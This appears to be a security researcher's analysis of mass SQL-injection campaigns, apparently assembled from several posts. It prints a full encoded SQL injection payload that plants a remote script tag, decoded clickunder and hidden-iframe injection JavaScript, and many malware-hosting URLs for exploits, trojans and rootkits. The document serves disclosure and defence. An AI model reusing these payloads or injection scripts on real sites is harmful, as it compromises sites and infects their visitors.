the domain is currently not resolvable.

The sql-injection attack comes in the form


set+variable=cast(variable+as+varchar(8000))%2Bcast(
char(060)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(116)%2Bchar(121)%2Bchar(112)%2Bchar(101)%2Bchar(61)%2Bchar(34)%2Bchar(116)%2Bchar(101)%2Bchar(120)%2Bchar(116)%2Bchar(47)%2Bchar(106)%2Bchar(97)%2Bchar(118)%2Bchar(97)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(34)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(34)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(97)%2Bchar(110)%2Bchar(97)%2Bchar(108)%2Bchar(121)%2Bchar(116)%2Bchar(105)%2Bchar(105)%2Bchar(99)%2Bchar(115)%2Bchar(46)%2Bchar(99)%2Bchar(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(99)%2Bchar(104)%2Bchar(105)%2Bchar(110)%2Bchar(46)%2Bchar(106)%2Bchar(115)%2Bchar(34)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)%2Bchar(0)+as+varchar(8000))

The string of char() can be easily decoded as

<script src=”http://google-analytiics.com/urchin.js” type=”text/javascript”></script>

The malicious javascript “urchin.js” is obtained and decoded as follows:

function PopShow3() {
CookieTest=navigator.cookieEnabled;
if(CookieTest)
{
ClickUndercookie = GetCookie('clickunder2');
if (ClickUndercookie == null)
{
var ExpDate = new Date ();
ExpDate.setTime(ExpDate.getTime() + 365 * 24 * 60 * 60 * 1000);
SetCookie('clickunder2','1',ExpDate, "/");
window.open("javascript:location.href='http://best-youtubevideo.com/?pid=422&sid=4fd257';","PopWin3","resizable=1,toolbar=1,location=1,menubar=1,status=1,scrollbars=1'");
window.focus();
}
}
}
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
function SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}
document.onmouseup=PopShow3;

The above script opens a popup window from “best-youtubevideo.com” domain, however it is redirected to “scanner-antivirusw1.com”. This leads to scareware that scares people to install the malware.

• dd45h.8866.org/fkzd/16.htm
• wm.1kfie.cn/x150/xx.html

One of the exploit downloads a rootkit from d.cdwsx.com/xx/x150.css [VT Analysis]

Injected scripts and exploits iframe to several urls such as:

• www.gehae.info/fox/index.html
• www.haerh.info/mam.exe

the scripts generate some form of ‘time-based’ parameters that probably is only available for a brief period.

The trojan downloader from www.haerh.info get a list of evil programs from www.gehae.info/2.txt

x.js calls iframe src www.jejsaj.com/ya/index.html

jejsaj contains various exploits targeting among others

• owc 0-day
• realplayer
• msvidctl.dll

the exploits download trojans from www.wowand.com

Update: beware of this malicious script as it is making use of OWC 0-day.
Ref – http://isc.sans.org/diary.html?storyid=6811

Ultimately the exploits installs a trojan [VT analysis]

The interesting point of this script is that it behaves differently if the injected site is from “.gov.cn” or “.edu.cn”. Code as shown below:

var s,siteUrl,tmpdomain;
var arydomain = new Array(".gov.cn",".edu.cn");
s = document.location+"";
siteUrl=s.substring(7,s.indexOf('/',7));
tmpdomain = 0;
for(var i=0;i<arydomain.length; i++)
{
if(siteUrl.indexOf(arydomain[i]) > -1){
tmpdomain = 1;
break;
}
}
if(tmpdomain == 0){
document.writeln("<iframe src=http://33sf54.cn/sina/a100.htm width=0 height=0></
iframe>");
function rl()
{
var msgObj = document.createElement("div");
msgObj.setAttribute("id","msgDiv");
document.body.appendChild(msgObj);
var obj = document.getElementById("msgDiv");
obj.innerHTML ="<iframe src=http://33sf54.cn/sina/a100.htm width=0 height=0></
iframe>";
}
setInterval("rl()",10000);
}

The injected iframe a100.htm inserts another iframe au.htm.

au.htm deploys another obfuscation technique, which is to embed null bytes into the file. The top portion of the file is as shown:

00000000  3c 00 00 68 00 74 00 6d  6c 3e 00 00 0d 0a 00 00  |<..h.t.ml>......|
00000010  3c 00 00 73 00 00 63 72  00 69 00 00 70 00 00 74  |<..s..cr.i..p..t|
00000020  00 3e 00 00 0d 00 00 0a  69 00 00 66 00 28 00 6e  |.>......i..f.(.n|
00000030  00 00 61 76 00 69 00 67  61 00 74 00 6f 72 2e 00  |..av.i.ga.t.or..|
00000040  00 75 00 00 73 00 65 00  00 72 00 00 41 67 00 00  |.u..s.e..r..Ag..|
00000050  65 00 00 6e 74 00 2e 74  00 00 6f 00 00 4c 6f 00  |e..nt..t..o..Lo.|
00000060  77 65 72 00 00 43 61 73  65 00 28 29 00 00 2e 00  |wer..Case.()....|

If all the bytes 00 are removed, you get back a beautiful html file.

au.htm contains links to exploits of typical vulnerabilities. One malicious file that will be downloaded is http://xia8866.com/xia/f5.css [Threatexpert result]

v.js retrieves another iframe src www.vieio.cn/i.htm.

This exploitation kit tries to avoid detection by splitting each respective exploit into 2 files. One .htm and .js

yh.htm has the same vulnerability exploits as the previous post. Most likely from the same kit.

The exploits download malicious executable from www.at820.cn/wins.exe [VT results]

CWSandbox analysis of wins.exe shows further download such as rootkit www.at820.cn/ie.exe [VT results]

Note that all 3 domains tsnse.cn, www.gomne.cn and www.at820.cn resolve to the same IP address 120.50.35.138.